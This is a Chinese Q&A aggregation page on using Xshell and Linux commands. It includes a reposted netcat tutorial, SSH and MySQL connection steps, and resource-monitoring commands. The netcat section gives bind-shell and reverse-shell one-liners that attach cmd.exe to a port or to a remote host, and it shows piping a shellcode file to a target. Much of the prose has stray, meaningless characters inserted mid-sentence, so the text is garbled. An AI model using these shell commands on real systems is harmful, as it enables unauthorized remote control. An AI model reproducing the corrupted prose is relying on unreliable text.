A. xshell如何查看nc文件
發送端:cattest.txt | nc -l -p 6666或者nc -l -p 6666 < test.txt【監聽6666埠,等待連接】(設發送端IP為10.20.133.152)接收端:nc 10.20.133.152 6666 > test1.txt如上面的操作,即可將文件test.txt從發送端傳送到接收端,保存為test1.txt想要連接到某處: nc [-options] hostname port[s] [ports] ...綁定埠等待連接: nc -l -p port [-options] [hostname] [port]語法:nc [-hlnruz][-g][-G][-i][-o][-p][-s][-v...][-w][主機名稱][通信端 口...]補充說明:執行本指令可設置路由器的相關參數。參數:-g 設置路由器躍程通信網關,最丟哦可設置8個。-G 設置來源路由指向器,其數值為4的倍數。-h 在線幫助。-i 設置時間間隔,以便傳送信息及掃描通信埠。-l 使用監聽模式,管控傳入的資料。-n 直接使用IP地址,而不通過域名伺服器。-o 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。-p 設置本地主機使用的通信埠。-r 亂數指定本地與遠端主機的通信埠。-s 設置本地主機送出數據包的IP地址。-u 使用UDP傳輸協議。-v 顯示指令執行過程。-w 設置等待連線的時間。-z 使用0輸入/輸出模式,只在掃描通信埠時使用。另外,nc命令也可用於埠掃描:nc -v -z -w2 10.20.133.152 1-14000可以掃描10.20.133.152主機上的1~14000號TCP埠;nc -u -v -z -w2 10.20.133.152 1-14000可以掃描10.20.133.152主機上的1~14000號UDP埠。
nc是一款很不錯的網路檢測工具,以下是詳細使用。
'nc.exe -h'即可看到各參數的使用方法。
基本格式:nc [-options] hostname port [ports] ...
nc -l -p port [options] [hostname] [port]
-d 後台模式
-e prog 程序重定向,一旦連接,就執行 [危險!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 幫助信息
-i secs 延時的間隔
-l 監聽模式,用於入站連接
-L 連接關閉後,仍然繼續監聽
-n 指定數字的IP地址,不能用做御hostname
-o file 記錄16進制的傳輸
-p port 本地埠號
-r 隨機本地及遠程埠
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 詳細輸出--用兩個-v可得到更詳細的內容
-w secs timeout的時間
-z 將輸入輸出關掉--用於掃描時純帆岩
埠的表示方法可寫為M-N的范圍格式。
1)連接到遠程主機
格式:nc -nvv 192.168.x.x 80
講解:連到192.168.x.x的TCP80埠
2)監聽本地主機
格式:nc -l -p 80
講解:監聽本機的TCP80埠
3)掃描遠程主機
格式:nc -nvv -w2 -z 192.168.x.x 80-445
講解:掃描192.168.x.x的TCP80到TCP445的所有埠
4)REMOTE主機綁定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354埠
5)REMOTE主機綁定SHELL並反向連接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
講解:綁定REMOTE主機的CMDSHELL並反向連接到192.168.x.x的TCP5354埠
以上為轎野最基本的幾種用法(其實NC的用法還有很多,
當配合管道命令"|"與重定向命令""等等命令功能更強大......)。
6)作攻擊程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
講解:連接到192.168.x.x的80埠,並在其管道中發送'c:\exploit.txt'的內容(兩種格式確有相同的效果,真是有異曲同工之妙:P)
附:'c:\exploit.txt'為shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
講解:使用'-L'(注意L是大寫)可以不停地監聽某一個埠,直到ctrl+c為止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
講解:使用'-L'可以不停地監聽某一個埠,直到ctrl+c為止,同時把結果輸出到'c:\log.txt'中,如果把『>'
改為『>>'即可以追加日誌
附:'c:\log.txt'為日誌等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
講解:使用'-L'可以不停地監聽某一個埠,直到ctrl+c為止,並把'c:\honeypot.txt'的內容『送'入其管道中!
10)備份檔案
A機的資料夾 /data備份到B主機的backup.tgz
源主機: tar czf - work|nc -l -c -p 1234
目的主機: nc 192.168.0.1 1234 >a.tgz
或
A:tar -zcf data|nc -l -p 4444
B:nc a 4444 >backup.tgz
傳完後ctrl+c中斷連接,這樣A主機不會生成檔案直接傳到了backup.tgz,缺點就是不知道啥時候傳完,嘿嘿
posted on 2010-10-28 10:03 flyonok 閱讀(2176) 評論(0) 編輯 收藏 引用 所屬分類: linux
B. 如何用Xshell 4來遠程LINUX系統
1.安裝好軟體之後,點擊xshell菜單欄下的新建會話框
2.選中新建會話框裡面的連接,這時會出現一個主機的歲隱空格要輸入進去。
3. 在終端的選項中,選擇UTF8國際編碼以避免管理中文顯示滑雀緩亂碼
3.接著就會出現會話窗口,選中點擊連接後有一個是否保存會話設置,點擊接受,輸入用戶名和密碼即可。這邊提醒大家一下,如果要保留會話建議設置勾選記住用戶名和記住密碼,下次直接點擊就可以連接了。
如果用戶名和密碼都設置正確信模了就能連接到linux伺服器了哈。
C. 如何用xshell遠程linux伺服器並進行操作
首先我們在自己的電腦中找到已安裝的xshell並打開。
打開xshell後找到左上角第一個「文件」點擊,彈出來一個下拉框,選擇「新建」點擊(或者直接按下快捷鍵「Alt+n」)。
點擊「新建」之後就會出現下面這樣改緩一個界面,「名稱」根據自己的需求填寫,「協議」就是默認的SSH,「主機」是這一步最關鍵的,一定要填寫正確,否則無法登錄,埠也是默認的22,其他不用填,填寫完成之後先不要點確定,看下一步。
找到坐便菜單欄中的「用戶身份驗證」點擊,點擊之後會讓你填寫用戶名和密碼,其中「方法」默認「password」,「用戶名」填寫你的FTP用肆銀戶名,「密碼」填寫你的FTP密碼,填寫完成點擊確定。
那這一步我們來登錄我們剛才保存的賬號,依次找到左上角「文件」-->「打開」,彈出如下界面,左下角有一個選項「啟動時顯示此對話框」,這個選項的意思是:每次打開xshell都直接跳出這個對話框,根據需求勾選,然後找到你想登錄的伺服器,點擊「連接」即可。
連接之後出現如下界面中的[root@******]樣式的,就證明連接成功裂殲宴了。
D. Xshell怎麼連接資料庫
連接步驟如下:
1,首先運行Xshell客戶端,沒有安裝的同學,請下載後安裝,
2,然後連接遠程伺服器,建立連接以後在命令行輸入框中輸入資料庫的連介面令如:mysql -h 192.168.10.100 -u ju70_sql -pwju70_sql
3,這個連介面令包含了源談,資料庫的host,資料庫用戶名,以及密碼,輸入後點擊回車,就表示連接成功了,
4,接著輸入「use 資料庫名雹漏碰稱」的方式,告訴後台我要使用這個資料庫,輸入後回車,
5,就可以使用正常的sql語句直接在Xshell中執行就可以查詢得到我搜啟們想要的數據。
E. Linux伺服器如何查看CPU佔用率、內存佔用、帶寬佔用
Linux伺服器如何查看CPU佔用率、內存佔用、帶寬佔用的命令
圖中紅色部分即為佔用百分率,下面是每個進程的CPU佔用率,如果伺服器是多核CPU可能在下方看到有些進程CPU佔用超過100%,這種一般是該進程使用了多核。
內存佔用率:free -m
圖中紅色部分即為佔用,即used、free即為剩餘。(注意中在第二行數字中找哦。)
帶寬佔用:
使用vmstat命令,輸入命令:vmstat
linux伺服器的相關信息查看(埠佔用,cpu、內存族稿碼佔用,防火牆,系統信息,vim編輯器使用等)
一、埠佔用情況
(1)查看所兆哪有埠、進程的使用情況: netstat -tunlp
(2)查看某一埠的使用情況: netstat -tunlp|grep 5560
二、查看內存使用情況
(1)查看佔用情況(動態):top
按下P(大寫)可以找到佔用內存最大的進程
(2)查看佔用情況(總的):free
(3)查看佔用內存最多的N個進程: ps -aux | sort -k4nr | head -K如果是10個進程,K=10,如果是最高的三個,K=3
(4)查看敬埋硬碟空間大小:df -lh
三、防火牆
防火牆iptables和firewall
(1)查看防火牆狀態:firewall-cmd --state
(2)開啟、關閉防火牆:開啟:systemctl start firewalld關閉:systemctl stop firewalld.service 或者 service firewalld stop
(3)重啟防火牆:firewall-cmd --reload(重新載入配置,在添加規則之後,需要執行此命令)
(4)防火牆是否開機啟動:禁止防火牆開機啟動:systemctl disable firewalld.service設置防火牆開機啟動:systemctl enable firewalld.service
四、查看系統信息
(1)查看系統位數:getconf LONG_BIT
(2)查看內存信息:查看所有內存信息: cat /proc/meminfo查看內存容量: grep "MemTotal" /proc/meminfo
(3)查看CPU信息:查看cpu個數(幾核):cat /proc/cpuinfo |grep "processor"|wc -l
五、linux中文亂碼:
我只是用了第三部,更改了ssh客戶端屬性配置就可以了
1. 配置SSH 終端 (以xshell為例):
打開「文件」(File)- 「屬性」 (Properties), 在「終端」(Terminal),將「編碼」(Encoding)改為UTF-8 即可。
六、Xshell遠程連接Linux時無法使用小鍵盤的解決方式:
七、linux中vi編輯器的退出操作
保存,但不退出vi :w
保存並退出vi :wq
退出vi,但不保存更改 :q!
用其他文件名保存 :w filename
在現有文件中保存並覆蓋該文件 :w! filename
查找文字:在一般模式下輸入/和你要查找的文字單詞,例如/port,此時再按下 n 會跳轉至改文字所在的下一處。
F. xshell連接linux
1、在電腦桌面或開始-所有程序中找到「Xshell」,這里以Xshell 4為例子,如下圖找到Xshell 4的程序圖標,蘆敗銷雙擊打開這個程序。
G. xshell如何查看伺服器cpu空間
linux系統中xshell工具查看硬碟、內存、CPU以及創建文件夾、復制、刪除命令的使用 查褲絕看硬碟: [root@localhost /]# df -h 每一項的意思是: 文件系統 容量 已用 可用 已用%% 掛載點 此截圖說明內存不足,根目錄佔用了百分百(在安裝系統的時候把剩下的磁碟全部分為了根目錄,在這里也就是50G)。home目錄下的內存共860G,所有要將一些文件移動到home目錄下。 查看內存用【free -m】或者【free】胡梁姿 [root@localhost /]# free -m 查看CPU個數【cat /proc/cpuinfo】 [root@localhost /]# cat /proc/渣廳cpuinfo 回車,看結果中的所有屬性中屬性名為processor的結果,若顯示processor:3,則說明cp
查看更多
H. 如何用XShell連接遠程Linux伺服器
我們平時操作遠程Linux伺服器的時候經常需要悉搜XShell工具進行連接,那麼如何操作呢?下面我雹陸配給大家演示一下。
XShell
首先我們打開XShell工具,點擊頂部的打開選項,如下圖源指所示
接下來會彈出一個會話界面,我們點擊新建按鈕,如下圖所示
然後我們在Linux系統中用ifconfig命令查看一下系統的地址信息,如下圖所示
接下來在新建會話界面中我們輸入Linux的地址,埠,協議信息,如下圖所示
點擊確定以後我們添加的連接信息就自動載入到會話列表中了,我們選擇剛才新建的會話,然後點擊連接按鈕,如下圖所示
接下來會彈出一個是否接受秘鑰的提示,我們點擊接受並保存按鈕,如下圖所示
然後就會彈出讓我們輸入賬號的界面,這個賬號是linux系統的賬號,默認都是root,如下圖所示
接下來輸入root對應的密碼,如下圖所示,當然如果你有Public Key也可以選擇的
最後登錄系統以後我們可以用ll命令查看一下當前的文件夾內容,看是否真正的進入了遠程Linux系統,如下圖所示